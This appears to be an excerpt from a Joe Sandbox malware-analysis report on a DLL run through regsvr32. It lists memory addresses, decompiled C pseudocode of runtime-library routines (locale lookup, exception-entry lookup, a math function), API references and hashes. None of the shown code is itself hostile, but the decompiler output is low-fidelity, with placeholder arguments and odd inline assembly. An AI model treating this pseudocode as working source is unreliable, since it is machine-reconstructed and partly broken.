0x10047008
0x10047008
0x1004700f
0x10047015
0x1004701a
0x1004701a
0x10047021
0x10047026
0x1004702b
0x10047030
0x10047081
0x10047081
0x1004708b
0x10047091
0x10047096
0x1004709b
0x100470a1
0x100470ab
0x100470b0
0x100470ba
0x100470c0
0x100470cc
0x100470cf
0x100470d1
0x100470d5
0x100470e5
0x100470f5
0x10047105
0x10047111
0x10047111
0x100470d5
0x10047116
0x1004711e
0x10047124
0x1004712f
0x10047136
0x1004713d
0x10047144
0x1004714a
0x10047151
0x10047158
0x00000000
0x10047039
0x10047039
0x10047040
0x10047040
0x10047045
0x00000000
0x00000000
0x10047047
0x10047050
0x10047077
0x10047077
0x1004707f
0x00000000
0x00000000
0x00000000
0x1004707f
0x10047060
0x10047060
0x10047063
0x10047066
0x10047073
0x00000000
0x10047060
0x00000000
0x10047040
0x10046ef7
0x10046ef7
0x10046f00
0x10046f00
0x10046f05
0x00000000
0x00000000
0x10046f07
0x10046f10
0x10046f31
0x10046f31
0x10046f39
0x00000000
0x00000000
0x00000000
0x10046f39
0x10046f20
0x10046f20
0x10046f23
0x10046f26
0x10046f2d
0x00000000
0x10046f20
0x00000000
0x10046f00
0x10046eee
0x10046e73
0x10046dec
0x10046df1
0x10046df7
0x10046dfd
0x10046e09
0x00000000
0x00000000
0x00000000

APIs

GetCPInfo.KERNEL32 ref: 10046EC9

Part of subcall function 10040640: GetLastError.KERNEL32 ref: 100406C2

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: ErrorInfoLast
String ID:
API String ID: 3697876970-0
Opcode ID: 530bc8637e4f8cccf47935d1cad2321f9ebab019b5db509a2c053f40ba65cfdf
Instruction ID: a2148a985e6bc7049f4c1428096b731f3eda3359bedd7f7c9d41e00b3fb2fefd
Opcode Fuzzy Hash: 530bc8637e4f8cccf47935d1cad2321f9ebab019b5db509a2c053f40ba65cfdf
Instruction Fuzzy Hash: FDB1DB326057C086D711CF25E4443AE77A0FB48B84FA4423AEB9D8BB95DF79E581CB44

Uniqueness

Uniqueness Score: -1.00%

Function 100478B0 Relevance: 1.6, APIs: 1, Instructions: 88
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E100478B0(void* __ebx, void* __ecx, long long __rbx, signed char* __rcx, void* __rdx, signed long long __rdi, long long __rsi, void* __rbp, void* __r8, void* __r9, void* __r12, void* _a16, intOrPtr _a24, void* _a32) {
				signed int _v24;
				char _v152;
				int _t35;
				signed int _t36;
				signed int _t42;
				void* _t48;
				signed int _t52;
				void* _t54;
				signed int _t57;
				signed long long _t65;
				signed long long _t66;
				signed long long _t68;
				void* _t75;
				signed long long _t78;
				signed char* _t81;
				intOrPtr _t82;
				signed long long _t84;
				void* _t89;
				signed long long _t90;

				_t91 = __r12;
				_t89 = __r9;
				_t83 = __rbp;
				_t78 = __rdi;
				_t75 = __rdx;
				_t48 = __ebx;
				_t90 = _t84;
				_t65 =  *0x100b1640; // 0xf93099fb11e7
				_t66 = _t65 ^ _t84;
				_v24 = _t66;
				 *((long long*)(_t90 + 0x10)) = __rbx;
				 *((long long*)(_t90 + 0x18)) = __rsi;
				 *((long long*)(_t90 + 0x20)) = __rdi;
				_t81 = __rcx;
				E10035F70(_t66, __rbx, __rcx, __rdx, __rdi, __rcx, __rbp, __r8, __r12);
				_t52 =  *_t81 & 0x000000ff;
				_t57 = 0;
				_t68 = _t66;
				if(_t52 == 0) {
					L7:
					_t12 = _t66 + 0x75; // 0x78
					r9d = _t12;
					_t50 = _t57;
					_t54 =  !=  ? 3 : 0x1001;
					_t35 = GetLocaleInfoA(??, ??, ??, ??);
					_t82 = _a24;
					if(_t35 != 0) {
						_t71 =  *((intOrPtr*)(_t68 + 0x140));
						_t36 = E1004D7B0(_t48, _t66, _t68,  *((intOrPtr*)(_t68 + 0x140)),  &_v152, _t78, _t82, _t83,  &_v152, _t91);
						__eflags = _t36;
						if(_t36 != 0) {
							__eflags =  *(_t68 + 0x158);
							if( *(_t68 + 0x158) != 0) {
								L18:
								__eflags =  !( *(_t68 + 0x150) >> 2) & 0x00000001;
								L19:
								return E1002FF40(_t50, _v24 ^ _t84);
							}
							__eflags =  *(_t68 + 0x154);
							if( *(_t68 + 0x154) == 0) {
								goto L18;
							}
							_t74 =  *((intOrPtr*)(_t68 + 0x140));
							_t42 = E1004D7B0(_t48, _t66, _t68,  *((intOrPtr*)(_t68 + 0x140)),  &_v152, _t78, _t82, _t83,  &_v152, _t91);
							__eflags = _t42;
							if(_t42 != 0) {
								goto L18;
							}
							_t24 = _t68 + 0x140; // 0x140
							_t50 = _t57;
							__eflags = E10047440(_t57, 0, _t68, _t74, _t78, _t82, _t83, _t24, _t89);
							L16:
							if(__eflags == 0) {
								goto L18;
							}
							L17:
							_t25 = _t68 + 0x150;
							 *_t25 =  *(_t68 + 0x150) | 0x00000004;
							__eflags =  *_t25;
							 *((intOrPtr*)(_t68 + 0x160)) = _t57;
							 *((intOrPtr*)(_t68 + 0x164)) = _t57;
							goto L18;
						}
						__eflags =  *(_t68 + 0x158) - _t36;
						if( *(_t68 + 0x158) != _t36) {
							goto L17;
						}
						_t18 = _t68 + 0x140; // 0x140
						_t19 = _t66 + 1; // 0x1
						_t50 = _t57;
						__eflags = E10047440(_t57, _t19, _t68, _t71, _t78, _t82, _t83, _t18, _t89);
						goto L16;
					}
					 *(_t68 + 0x150) = _t35;
					goto L19;
				}
				do {
					_t81 =  &(_t81[1]);
					if(_t75 - 0x61 > 5) {
						__eflags = _t75 - 0x41 - 5;
						if(_t75 - 0x41 <= 5) {
							__eflags = _t52;
						}
					} else {
						_t52 = _t52 + 0xd9;
					}
					_t52 =  *_t81;
					_t57 = _t66 + _t78 * 8 - 0x30;
				} while (_t52 != 0);
				goto L7;
			}

0x100478b0
0x100478b0
0x100478b0
0x100478b0
0x100478b0
0x100478b0
0x100478b0
0x100478ba
0x100478c1
0x100478c4
0x100478cc
0x100478d0
0x100478d4
0x100478d8
0x100478db
0x100478e0
0x100478e3
0x100478e7
0x100478ea
0x1004791a
0x10047930
0x10047930
0x10047934
0x10047936
0x10047939
0x1004793f
0x10047949
0x1004795b
0x10047967
0x1004796c
0x1004796e
0x1004798d
0x10047994
0x100479db
0x100479e6
0x100479e9
0x10047a10
0x10047a10
0x10047996
0x1004799d
0x00000000
0x00000000
0x1004799f
0x100479ab
0x100479b0
0x100479b2
0x00000000
0x00000000
0x100479b4
0x100479bd
0x100479c4
0x100479c6
0x100479c6
0x00000000
0x00000000
0x100479c8
0x100479c8
0x100479c8
0x100479c8
0x100479cf
0x100479d5
0x00000000
0x100479d5
0x10047970
0x10047976
0x00000000
0x00000000
0x10047978
0x1004797f
0x10047982
0x10047989
0x00000000
0x10047989
0x1004794b
0x00000000
0x10047951
0x100478f0
0x100478f3
0x100478fa
0x10047904
0x10047906
0x10047908
0x10047908
0x100478fc
0x100478fc
0x100478fc
0x1004790e
0x10047914
0x10047914
0x00000000

APIs

Part of subcall function 10035F70: GetLastError.KERNEL32(?,?,?,?,1003DEC9), ref: 10035F7E
Part of subcall function 10035F70: FlsGetValue.KERNEL32(?,?,?,?,1003DEC9), ref: 10035F8C
Part of subcall function 10035F70: FlsSetValue.KERNEL32(?,?,?,?,1003DEC9), ref: 10035FB8
Part of subcall function 10035F70: GetCurrentThreadId.KERNEL32(?,?,?,?,1003DEC9), ref: 10035FCC
Part of subcall function 10035F70: SetLastError.KERNEL32(?,?,?,?,1003DEC9), ref: 10035FEA

GetLocaleInfoA.KERNEL32 ref: 10047939

Part of subcall function 10047440: GetLocaleInfoA.KERNEL32 ref: 10047488

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: ErrorInfoLastLocaleValue$CurrentThread
String ID:
API String ID: 2426526513-0
Opcode ID: ebdda2f2bf10aa369dbc959af42a6eac998a75c1ce287c590cfd7c2b9ccb923b
Instruction ID: 12c570be57ced8a5a3541ed719fbac57525ebda812378aad85041e5d18091a3e
Opcode Fuzzy Hash: ebdda2f2bf10aa369dbc959af42a6eac998a75c1ce287c590cfd7c2b9ccb923b
Instruction Fuzzy Hash: D6316B32604AC1C6D761CF2298443DA73E5F788B89F950136CB9C8B398EB39D94ACB55

Uniqueness

Uniqueness Score: -1.00%

Function 10047440 Relevance: 1.6, APIs: 1, Instructions: 78COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32 ref: 10047488

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: c28ebf67bcdb5768706d9212cbbaed919abc7eb096d197306432cfc6583da457
Instruction ID: 4f1bf17f791cc619ccd5273b5f30a7db86b7190a61a6b8ea0a3d3b06bebf247a
Opcode Fuzzy Hash: c28ebf67bcdb5768706d9212cbbaed919abc7eb096d197306432cfc6583da457
Instruction Fuzzy Hash: 5521A232704BC186D770CB25A4103EE37A1F785BE4FA54726DFED8B685DB29D5068B08

Uniqueness

Uniqueness Score: -1.00%

Function 1002E500 Relevance: 1.6, APIs: 1, Instructions: 77
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 50%

			E1002E500(void* __edi, intOrPtr* __rax, long long __rbx, intOrPtr* __rcx, void* __rdx, long long __rdi, long long __rsi, long long __rbp, void* __r8, long long* __r9, long long __r12, long long __r13, long long __r14, long long __r15, long long _a8, long long _a16, long long _a24, long long _a32) {
				long long _v8;
				long long _v16;
				long long _v24;
				long long _v32;
				char _v56;
				void* _t37;
				void* _t38;
				void* _t39;
				void* _t40;
				intOrPtr* _t49;
				long long _t53;
				void* _t56;
				intOrPtr* _t65;
				signed long long _t67;
				signed long long _t69;
				long long _t71;
				void* _t72;
				long long* _t77;
				void* _t80;
				long long* _t82;
				void* _t85;
				void* _t88;
				intOrPtr* _t91;

				_t77 = __r9;
				_t71 = __rsi;
				_t53 = __rbx;
				_t49 = __rax;
				_t39 = __edi;
				_a16 = __rbp;
				_a32 = __rdi;
				_t69 =  *((intOrPtr*)(__r8 + 0xc));
				_v8 = __r12;
				_v16 = __r13;
				_v24 = __r14;
				_v32 = __r15;
				_t91 = __rcx;
				_t82 = __r9;
				_t88 = __r8;
				_t85 = __rdx;
				_t37 = E10035A50(__rbx, __r8, __rdx, _t69, __rsi, __rbp);
				 *_t82 =  *__rcx;
				_t40 = _t37;
				if(_t39 != 0) {
					_a24 = _t71;
					_a8 = _t53;
					_t72 = (_t69 + _t69 * 4) * 4 - 0x14;
					do {
						_t56 =  *((intOrPtr*)(_t88 + 0x10)) +  *((intOrPtr*)(_t85 + 8)) + _t72;
						if(_t40 <=  *((intOrPtr*)(_t56 + 4)) || _t40 >  *((intOrPtr*)(_t56 + 8))) {
							goto L9;
						} else {
							_t67 =  &_v56;
							r8d = 0;
							L1004F104();
							r8d =  *((intOrPtr*)(_t56 + 0xc));
							_t80 =  *((intOrPtr*)(_t56 + 0x10)) + _v56;
							r9d =  *_t49;
							_t38 = 0;
							if(r8d != 0) {
								_t65 = _t80 + 0xc;
								while(1) {
									_t49 =  *_t65;
									if(_t49 == _t77) {
										goto L8;
									}
									_t38 = _t38 + 1;
									_t65 = _t65 + 0x14;
									if(_t38 < r8d) {
										continue;
									}
									goto L8;
								}
							}
							L8:
							if(_t38 < r8d) {
								 *_t82 =  *((intOrPtr*)( *((intOrPtr*)(_t80 + 0x10 + (_t67 + _t67 * 4) * 4)) +  *_t91));
							} else {
								goto L9;
							}
						}
						L12:
						goto L13;
						L9:
						_t72 = _t72 - 0x14;
						_t39 = _t39 + 0xffffffff;
					} while (_t39 != 0);
					goto L12;
				}
				L13:
				return _t37;
			}

0x1002e500
0x1002e500
0x1002e500
0x1002e500
0x1002e500
0x1002e504
0x1002e509
0x1002e50e
0x1002e512
0x1002e517
0x1002e51c
0x1002e521
0x1002e526
0x1002e52c
0x1002e52f
0x1002e532
0x1002e535
0x1002e53f
0x1002e543
0x1002e545
0x1002e54b
0x1002e554
0x1002e559
0x1002e570
0x1002e578
0x1002e57e
0x00000000
0x1002e585
0x1002e589
0x1002e58e
0x1002e591
0x1002e59a
0x1002e59e
0x1002e5a3
0x1002e5a6
0x1002e5ab
0x1002e5ad
0x1002e5b1
0x1002e5b1
0x1002e5b7
0x00000000
0x00000000
0x1002e5b9
0x1002e5bc
0x1002e5c3
0x00000000
0x00000000
0x00000000
0x1002e5c3
0x1002e5b1
0x1002e5c5
0x1002e5c8
0x1002e5e5
0x00000000
0x00000000
0x00000000
0x1002e5c8
0x1002e5e9
0x00000000
0x1002e5ca
0x1002e5ca
0x1002e5ce
0x1002e5ce
0x00000000
0x1002e5d3
0x1002e5f6
0x1002e618

APIs

RtlLookupFunctionEntry.KERNEL32 ref: 1002E591

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: EntryFunctionLookup
String ID:
API String ID: 3852435196-0
Opcode ID: 981eda6ae7f526870b7dc1dae4e33751ef920b31e294bde2bfdef1311d460410
Instruction ID: 1a6bffd7ddc28f7b40779a9a4b88e32cef42fa3aa58e2f960468c46cfe53c6eb
Opcode Fuzzy Hash: 981eda6ae7f526870b7dc1dae4e33751ef920b31e294bde2bfdef1311d460410
Instruction Fuzzy Hash: 94311636614FA4C2CB10CF1AF49452EB7A5F785BD8BA69106EF9D43B18EB39D811CB04

Uniqueness

Uniqueness Score: -1.00%

Function 10047310 Relevance: 1.6, APIs: 1, Instructions: 74
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E10047310(void* __ecx, long long __rbx, signed char* __rcx, void* __rdx, signed long long __rdi, long long __rsi, void* __r8, void* __r9, void* __r12) {
				int _t29;
				signed int _t39;
				signed int _t41;
				signed int _t43;
				void* _t45;
				signed int _t46;
				signed long long _t54;
				signed long long _t55;
				intOrPtr* _t56;
				void* _t63;
				signed long long _t65;
				signed char* _t68;
				intOrPtr _t69;
				long long _t70;
				signed long long _t71;
				signed long long _t73;
				void* _t75;
				signed long long _t77;

				_t78 = __r12;
				_t65 = __rdi;
				_t63 = __rdx;
				_t57 = __rbx;
				_t77 = _t73;
				_t54 =  *0x100b1640; // 0xf93099fb11e7
				_t55 = _t54 ^ _t73;
				 *(_t73 + 0xa0) = _t55;
				 *((long long*)(_t77 + 0x10)) = __rbx;
				 *((long long*)(_t77 + 0x18)) = _t70;
				 *((long long*)(_t77 + 0x20)) = __rsi;
				 *((long long*)(_t77 - 8)) = __rdi;
				_t68 = __rcx;
				E10035F70(_t55, __rbx, __rcx, __rdx, __rdi, __rcx, _t70, __r8, __r12);
				_t43 =  *_t68 & 0x000000ff;
				_t39 = 0;
				_t71 = _t55;
				_t46 = 0;
				if(_t43 == 0) {
					L6:
					_t75 = _t73 + 0x20;
					_t13 = _t55 + 0x71; // 0x78
					r9d = _t13;
					_t41 = _t46;
					_t45 =  !=  ? 7 : 0x1002;
					_t29 = GetLocaleInfoA(??, ??, ??, ??);
					_t69 =  *((intOrPtr*)(_t73 + 0xd8));
					if(_t29 != 0) {
						if(E1004D7B0(_t39, _t55, _t57,  *((intOrPtr*)(_t71 + 0x148)), _t73 + 0x20, _t65, _t69, _t71, _t75, _t78) != 0) {
							L13:
							L14:
							return E1002FF40(_t41,  *(_t73 + 0xa0) ^ _t73);
						}
						_t56 = 0x1009e2b0;
						while(_t46 !=  *_t56) {
							_t39 = _t39 + 1;
							_t56 = _t56 + 2;
							if(_t39 < 0xa) {
								continue;
							}
							 *(_t71 + 0x150) =  *(_t71 + 0x150) | 0x00000004;
							 *((intOrPtr*)(_t71 + 0x164)) = _t46;
							 *((intOrPtr*)(_t71 + 0x160)) = _t46;
							goto L13;
						}
						goto L13;
					}
					 *(_t71 + 0x150) = _t39;
					goto L14;
				} else {
					goto L1;
				}
				do {
					L1:
					_t68 =  &(_t68[1]);
					if(_t63 - 0x61 > 5) {
						if(_t63 - 0x41 <= 5) {
							_t43 = _t43 + 0xf9;
						}
					} else {
						_t43 = _t43 + 0xd9;
					}
					_t43 =  *_t68;
					_t46 = _t55 + _t65 * 8 - 0x30;
				} while (_t43 != 0);
				goto L6;
			}

0x10047310
0x10047310
0x10047310
0x10047310
0x10047310
0x1004731a
0x10047321
0x10047324
0x1004732c
0x10047330
0x10047334
0x10047338
0x1004733c
0x1004733f
0x10047344
0x10047347
0x10047349
0x1004734e
0x10047350
0x1004737c
0x1004738c
0x10047391
0x10047391
0x10047395
0x10047397
0x1004739a
0x100473a0
0x100473aa
0x100473cc
0x100473f9
0x10047407
0x10047436
0x10047436
0x100473ce
0x100473d5
0x100473da
0x100473dd
0x100473e4
0x00000000
0x00000000
0x100473e6
0x100473ed
0x100473f3
0x00000000
0x100473f3
0x00000000
0x100473d5
0x100473ac
0x00000000
0x00000000
0x00000000
0x00000000
0x10047352
0x10047352
0x10047355
0x1004735c
0x10047368
0x1004736a
0x1004736a
0x1004735e
0x1004735e
0x1004735e
0x10047370
0x10047376
0x10047376
0x00000000

APIs

Part of subcall function 10035F70: GetLastError.KERNEL32(?,?,?,?,1003DEC9), ref: 10035F7E
Part of subcall function 10035F70: FlsGetValue.KERNEL32(?,?,?,?,1003DEC9), ref: 10035F8C
Part of subcall function 10035F70: FlsSetValue.KERNEL32(?,?,?,?,1003DEC9), ref: 10035FB8
Part of subcall function 10035F70: GetCurrentThreadId.KERNEL32(?,?,?,?,1003DEC9), ref: 10035FCC
Part of subcall function 10035F70: SetLastError.KERNEL32(?,?,?,?,1003DEC9), ref: 10035FEA

GetLocaleInfoA.KERNEL32 ref: 1004739A

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: ErrorLastValue$CurrentInfoLocaleThread
String ID:
API String ID: 669420090-0
Opcode ID: 36eaa553ea6704e933942c9ea63396300ebe856e17414d2d50073131cd3a81af
Instruction ID: 827cd87a6c424652c8d277237a343850a2f6a9411a37bf1034d88f5880ec37de
Opcode Fuzzy Hash: 36eaa553ea6704e933942c9ea63396300ebe856e17414d2d50073131cd3a81af
Instruction Fuzzy Hash: A0318B32604BC0CAD731CF25A8803DA73A5F788B89F950126CB8C87754DB39DA4ACB04

Uniqueness

Uniqueness Score: -1.00%

Function 10037CB0 Relevance: 1.6, Strings: 1, Instructions: 320
COMMONCrypto

Download Yara Rule

C-Code - Quality: 30%

			E10037CB0(void* __ebx, signed int __rbx, signed int __rdx, signed int __rdi, signed int __rsi, signed int __rbp, void* __r8, signed int* __r9, long long __r12, long long __r13, void* _a8, void* _a16, void* _a24, void* _a32) {
				void* _v8;
				void* _v16;
				long long _v3920;
				unsigned long long _v3928;
				unsigned long long _v3936;
				unsigned long long _v3944;
				unsigned long long _v3952;
				unsigned long long _v3960;
				unsigned long long _v3968;
				unsigned long long _v3976;
				unsigned long long _v3984;
				unsigned long long _v3992;
				unsigned long long _v4000;
				unsigned long long _v4008;
				unsigned long long _v4016;
				unsigned long long _v4024;
				unsigned long long _v4032;
				unsigned long long _v4040;
				unsigned long long _v4048;
				unsigned long long _v4056;
				signed long long _v4064;
				long long _v4072;
				signed char _t135;
				void* _t137;
				signed int _t142;
				signed int _t147;
				signed int _t153;
				signed int* _t163;
				unsigned long long _t184;
				signed long long _t189;
				signed long long _t191;
				signed int* _t196;
				signed long long _t201;
				unsigned long long _t205;
				unsigned long long _t209;
				unsigned long long _t213;
				unsigned long long _t217;
				unsigned long long _t221;
				unsigned long long _t225;
				unsigned long long _t229;
				unsigned long long _t233;
				unsigned long long _t237;
				signed long long _t239;
				signed long long _t240;
				signed long long _t242;
				unsigned long long _t247;
				unsigned long long _t251;
				unsigned long long _t255;
				unsigned long long _t259;
				unsigned long long _t263;
				unsigned long long _t267;
				unsigned long long _t271;
				unsigned long long _t275;
				signed long long _t286;
				signed int* _t302;
				signed long long _t304;
				unsigned long long _t306;
				signed long long* _t312;
				signed long long _t317;
				void* _t318;

				_t163 = _t302;
				_t163[2] = __rbx;
				_t163[4] = __rbp;
				_t163[6] = __rsi;
				asm("movsd [esp], xmm0");
				_t163[8] = __rdi;
				 *((long long*)(_t163 - 8)) = __r12;
				 *((long long*)(_t163 - 0x10)) = __r13;
				r11d = r11d & 0x000007ff;
				_t317 =  *_t302 & 0xffffffff | 0x00000000;
				r11d = r11d - 0x3ff;
				_v3920 = 0;
				r11d = r11d - __rdx + __rdx * 4 + __rdx + __rdx * 4;
				_t304 = __rdx + 0x12;
				_t205 =  *(0x100b1a60 + _t304 * 8) * _t317;
				_t247 =  *(0x100b1a60 + _t304 * 8 - 8) * _t317 + (_t205 >> 0xa);
				_v3928 = _t205;
				_t209 =  *(0x100b1a60 + _t304 * 8 - 0x10) * _t317 + (_t247 >> 0xa);
				_v3936 = _t247;
				_t251 =  *(0x100b1a60 + _t304 * 8 - 0x18) * _t317 + (_t209 >> 0xa);
				_v3944 = _t209;
				_t213 =  *(0x100b1a60 + _t304 * 8 - 0x20) * _t317 + (_t251 >> 0xa);
				_v3952 = _t251;
				_t255 =  *(0x100b1a60 + _t304 * 8 - 0x28) * _t317 + (_t213 >> 0xa);
				_v3960 = _t213;
				_t217 =  *(0x100b1a60 + _t304 * 8 - 0x30) * _t317 + (_t255 >> 0xa);
				_v3968 = _t255;
				_v3976 = _t217;
				_t259 =  *(0x100b1a60 + _t304 * 8 - 0x38) * _t317 + (_t217 >> 0xa);
				_v3984 = _t259;
				_t221 =  *(0x100b1a60 + _t304 * 8 - 0x40) * _t317 + (_t259 >> 0xa);
				_v3992 = _t221;
				_t263 =  *(0x100b1a60 + _t304 * 8 - 0x48) * _t317 + (_t221 >> 0xa);
				_v4000 = _t263;
				_t225 =  *(0x100b1a60 + _t304 * 8 - 0x50) * _t317 + (_t263 >> 0xa);
				_v4008 = _t225;
				_t267 =  *(0x100b1a60 + _t304 * 8 - 0x58) * _t317 + (_t225 >> 0xa);
				_v4016 = _t267;
				_t229 =  *(0x100b1a60 + _t304 * 8 - 0x60) * _t317 + (_t267 >> 0xa);
				_v4024 = _t229;
				_t271 =  *(0x100b1a60 + _t304 * 8 - 0x68) * _t317 + (_t229 >> 0xa);
				_v4032 = _t271;
				_t233 =  *(0x100b1a60 + _t304 * 8 - 0x70) * _t317 + (_t271 >> 0xa);
				_v4040 = _t233;
				_t275 =  *(0x100b1a60 + _t304 * 8 - 0x78) * _t317 + (_t233 >> 0xa);
				_v4048 = _t275;
				_t237 =  *(0x100b1a60 + _t304 * 8 - 0x80) * _t317 + (_t275 >> 0xa);
				_v4056 = _t237;
				_t184 =  *(0x100b1a60 + _t304 * 8 - 0x88) * _t317 + (_t237 >> 0xa);
				_t201 = _t184;
				_v4064 = _t201;
				_v4072 =  *(0x100b1a60 + _t304 * 8 - 0x90) * _t317 + (_t184 >> 0xa);
				r9d = 1;
				_t135 = 0xa - r11d;
				_t147 = (0x66666667 * r11d >> 0x00000020 >> 0x00000002) + (0x66666667 * r11d >> 0x00000020 >> 0x00000002 >> 0x0000001f) & 7;
				_t153 = _t147 & 0x00000001;
				if(_t153 == 0) {
					_t318 = 0;
					 *__r9 = _t147 >> 1;
					_t286 = (0x100b1a60 << (_t135 & 0x000000ff)) - 0x100b1a60 & _t201;
					if(0x100b1a60 < 0) {
						_t196 =  &_v4064;
						do {
							_t196 =  &(_t196[2]);
							r9d = r9d + 1;
							_t286 = _t286 << 0x0000000a |  *_t196;
						} while (_t286 < 0);
					}
					_t306 =  *(_t302 + 0x18 + r9d * 8) << 0x36;
				} else {
					_t142 = _t135 & 0x000000ff;
					_t318 = 0;
					 *__r9 = (_t147 >> 0x00000001) + r9d & 0x00000003;
					_t286 = (0x100b1a60 << _t142) - 0x100b1a60 &  !_t201;
					if(0x100b1a60 < 0) {
						_t312 =  &_v4064;
						do {
							_t242 =  *((intOrPtr*)(_t312 + 8));
							_t312 = _t312 + 8;
							r9d = r9d + 1;
							_t142 = _t142 & 0x000003ff;
							_t286 =  !_t242 | _t286 << 0x0000000a;
						} while (_t286 < 0);
					}
					_t306 =  !( *(_t302 + 0x18 + r9d * 8)) << 0x36;
				}
				_t137 = 0xa06f07c0;
				r11d = r11d - 0xa06f07c0;
				r11d = r11d + 0x34;
				while(_t286 >= _t318) {
					_t240 = _t286;
					_t286 = _t286 >> 1;
					r11d = r11d + 1;
					_t306 = _t240 << 0x0000003f | _t306 >> 0x00000001;
				}
				_t239 = r11d;
				_t105 = _t239 + 0x3ff; // 0x408
				_t189 = _t105 << 0x00000034 | _t286 & 0xffffffff;
				if(_t153 != 0) {
					_t189 = _t189 | 0x00000000;
				}
				asm("xorpd xmm0, xmm0");
				 *_t302 = _t189;
				asm("movdqa [esp+0xfc0], xmm7");
				asm("inc sp");
				asm("repne inc esp");
				_t106 = _t239 + 0x3ca; // 0x3d3
				_t191 = _t106 << 0x34;
				 *_t302 = _t191;
				asm("movsd xmm1, [esp]");
				asm("subsd xmm0, xmm1");
				 *_t302 = _t306 >> 0x0000000c | _t191;
				asm("movsd xmm7, [esp]");
				asm("addsd xmm7, xmm0");
				if(_t153 == 0) {
					asm("mulsd xmm7, [0x63f79]");
				} else {
					asm("mulsd xmm7, [0x63f8b]");
				}
				asm("movsd xmm1, [0x63f59]");
				asm("movsd xmm4, [0x63f49]");
				asm("movdqa [esp+0xfd0], xmm6");
				asm("repne inc esp");
				asm("repne inc ecx");
				asm("repne inc ecx");
				asm("mulsd xmm7, xmm4");
				asm("repne inc esp");
				 *_t302 =  *_t302 & 0xf8000000;
				asm("movsd xmm2, [esp]");
				asm("mulsd xmm6, xmm4");
				asm("repne inc esp");
				asm("movdqa xmm7, [esp+0xfc0]");
				asm("subsd xmm3, xmm2");
				asm("movsd xmm5, xmm2");
				asm("mulsd xmm5, xmm1");
				asm("subsd xmm5, xmm6");
				asm("movsd xmm0, xmm3");
				asm("mulsd xmm0, xmm1");
				asm("movsd xmm1, [0x63eee]");
				asm("addsd xmm5, xmm0");
				asm("mulsd xmm2, xmm1");
				asm("mulsd xmm3, xmm1");
				asm("addsd xmm5, xmm2");
				asm("addsd xmm5, xmm3");
				asm("repne inc ecx");
				asm("inc sp");
				asm("movsd xmm0, xmm5");
				asm("addsd xmm0, xmm6");
				asm("subsd xmm6, xmm0");
				asm("repne inc ecx");
				asm("addsd xmm6, xmm5");
				asm("movsd [ebp], xmm6");
				asm("movdqa xmm6, [esp+0xfd0]");
				return _t137;
			}

0x10037cb0
0x10037cba
0x10037cbe
0x10037cc2
0x10037cc6
0x10037ccf
0x10037cd3
0x10037cd7
0x10037cf9
0x10037d06
0x10037d10
